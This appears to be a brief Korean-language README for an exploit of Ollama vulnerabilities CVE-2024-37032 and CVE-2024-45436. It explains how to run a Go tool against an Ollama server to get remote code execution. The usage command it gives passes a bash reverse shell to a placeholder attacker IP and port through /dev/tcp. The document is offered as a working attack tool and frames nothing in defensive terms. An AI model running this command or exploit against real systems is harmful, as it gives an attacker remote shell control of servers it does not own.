CVE-2024-37032 & CVE-2024-45436 Ollama RCE

CVE-2024-37032 CVE-2024-45436 Linux에서 실행해야 하며, 환경에 gcc가 필요합니다. golang을 설치하고 다음 명령을 실행하여 리버스 셸을 획득하십시오.

go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"

참고: 익스플로잇에는 몇 분이 걸릴 수 있으니 인내심을 가지고 기다려 주시기 바랍니다.